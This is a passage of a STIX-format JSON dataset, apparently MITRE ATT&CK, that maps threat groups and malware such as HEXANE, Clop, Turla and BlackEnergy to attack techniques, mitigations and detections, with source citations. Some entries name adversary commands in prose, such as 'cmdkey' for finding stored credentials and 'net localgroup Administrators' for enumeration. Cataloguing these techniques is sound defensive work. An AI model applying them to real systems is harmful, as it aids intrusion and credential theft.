LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:44:51.589Z","description":"[HEXANE](https://attack.mitre.org/groups/G1001) has run `cmdkey` on victim machines to identify stored credentials.(Citation: Kaspersky Lyceum October 2021)","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05491bb5-e209-4480-a1a8-9b385efe14ad","type":"relationship","created":"2019-08-15T13:46:20.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Astaroth Feb 2019","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}],"modified":"2019-10-11T15:31:49.896Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) loads its module with the XSL script parameter vShow set to zero, which opens the application with a hidden window. (Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--054a22c3-f0ee-476a-b0cb-e3277c755032","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"}],"modified":"2020-06-02T16:14:00.924Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) attempts to bypass default User Access Control (UAC) settings by exploiting a backward-compatibility setting found in Windows 7 and later.(Citation: F-Secure BlackEnergy 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05509bce-dc88-4cc9-8c39-40549cbc8603","type":"relationship","created":"2021-03-17T16:18:38.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2021-03-17T16:18:38.517Z","description":"(Citation: FireEye APT39 Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0550f254-d194-4f84-b005-b7a2cdc94a4e","type":"relationship","created":"2021-06-21T15:09:33.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T15:09:33.046Z","description":"[P8RAT](https://attack.mitre.org/software/S0626) has the ability to \"sleep\" for a specified time to evade detection.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--7c58fff0-d206-4db1-96b1-e3a9e0e320b9","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--055261fd-70cd-49c6-b9e6-2641bae4dda7","created":"2022-04-06T19:43:27.292Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Koadic](https://attack.mitre.org/software/S0250) can obtain the OS version and build, computer name, and processor architecture from a compromised host.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T19:43:27.292Z","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--055797c4-d3fe-4c7d-b921-ca3665f02f72","created":"2023-09-01T21:38:47.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-01T02:33:36.890Z","description":"Where possible, ensure that online traffic is appropriately encrypted through services such as trusted VPNs.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--05581e74-e78f-40e1-aa13-c990a99cbac3","created":"2023-02-23T18:04:38.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:05:14.342Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has obtained and used malware such as [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0559aa0e-31c2-478b-afce-00d0939066c3","created":"2022-08-18T19:19:20.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.698Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has created system services to execute cryptocurrency mining software.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--055a15db-2f5b-4c61-821e-36de6f83a90b","type":"relationship","created":"2021-10-13T15:21:03.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-10-16T01:24:29.253Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) can determine whether the ISO payload was received by a Windows or iOS device.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--055b4a0f-99aa-4d61-9aa4-a48fff427eb3","created":"2023-07-27T15:31:10.575Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-27T15:31:10.575Z","description":"(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0561610c-dbcd-454f-aa33-8a68086c0b3a","created":"2024-10-07T22:13:45.502Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T22:13:45.502Z","description":"Regularly review and manage domain accounts to ensure that only active, necessary accounts exist. Remove or disable inactive and unnecessary accounts to reduce the risk of adversaries abusing these accounts to gain unauthorized access or move laterally within the network.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--056add36-53ac-4496-ad33-31053e25046e","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor executed commands and arguments to detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Command-line Logging","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--056d19a6-8f3c-48a6-a459-69394e39fb9a","type":"relationship","created":"2021-07-30T21:03:08.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Clop April 2021","url":"https://unit42.paloaltonetworks.com/clop-ransomware/","description":"Santos, D. (2021, April 13). Threat Assessment: Clop Ransomware. Retrieved July 30, 2021."},{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."}],"modified":"2021-07-30T21:03:08.920Z","description":"[Clop](https://attack.mitre.org/software/S0611) can kill several processes and services related to backups and security solutions.(Citation: Unit42 Clop April 2021)(Citation: Mcafee Clop Aug 2019) ","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0574a456-6327-4f07-94b0-58be6ecbf8b8","type":"relationship","created":"2019-02-21T21:17:37.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2021-10-12T23:00:49.453Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has maintained persistence using the startup folder.(Citation: FireEye APT39 Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0575a941-3af6-4b7b-93df-30f6001760ac","type":"relationship","created":"2021-05-04T15:59:21.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-05-04T15:59:21.072Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) has the ability to decrypt and decode multiple layers of obfuscation.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0577a90e-88f7-4b33-8dd2-f5e123f63be2","created":"2023-12-06T20:24:36.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-02T21:13:47.711Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used search order hijacking to launch [Cobalt Strike](https://attack.mitre.org/software/S0154) Beacons.(Citation: Microsoft Ransomware as a Service)(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)\n","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--057815bb-550c-4e00-bfdb-c7e4bf6461cb","created":"2022-04-07T17:50:47.723Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can obtain a list of processes on a compromised host.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T17:50:47.724Z","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0583724d-7778-42ed-995c-acad526db4ba","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2019-05-10T12:14:32.180Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) has sometimes used drive-by attacks against vulnerable browser plugins.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0585e082-8f8e-4162-b4a8-3c1cef02f7e3","type":"relationship","created":"2017-05-31T21:33:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T14:44:52.268Z","description":"(Citation: F-Secure The Dukes)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0586324a-680a-46a4-917b-8c00c7211065","type":"relationship","created":"2022-01-25T14:41:53.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T14:41:53.539Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can enumerate the OS version and computer name on a targeted system.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--058c67f3-9345-42be-a433-a4cea314d26d","type":"relationship","created":"2019-01-30T13:42:09.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:25.996Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) collects a list of running processes.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--058ed2a0-4419-437e-9f3b-4df97f917e8f","type":"relationship","created":"2019-07-19T17:14:24.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:29.382Z","description":"(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05951058-e8d4-4ace-a6b8-54735c6a4769","type":"relationship","created":"2020-06-30T00:18:39.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."},{"source_name":"Cynet Ragnar Apr 2020","url":"https://www.cynet.com/blog/cynet-detection-report-ragnar-locker-ransomware/","description":"Gold, B. (2020, April 27). Cynet Detection Report: Ragnar Locker Ransomware. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:18:39.795Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) encrypts files on the local machine and mapped drives prior to displaying a note demanding a ransom.(Citation: Sophos Ragnar May 2020)(Citation: Cynet Ragnar Apr 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--059a2b6f-2b77-4f71-acd4-a3c39c4c2da4","type":"relationship","created":"2021-08-31T21:30:39.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.231Z","description":"[Cuba](https://attack.mitre.org/software/S0625) can enumerate local drives, disk type, and disk free space.(Citation: McAfee Cuba April 2021)","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--059c285c-c836-400a-ad47-35148404c8a4","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for unusual kernel driver installation activity that may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources.","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--059cc1e2-9570-4760-8137-d3d71b66bb78","type":"relationship","created":"2020-06-29T02:52:31.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-29T02:52:31.565Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used net localgroup and net localgroup Administrators to enumerate group information, including members of the local administrators group.(Citation: ESET ComRAT May 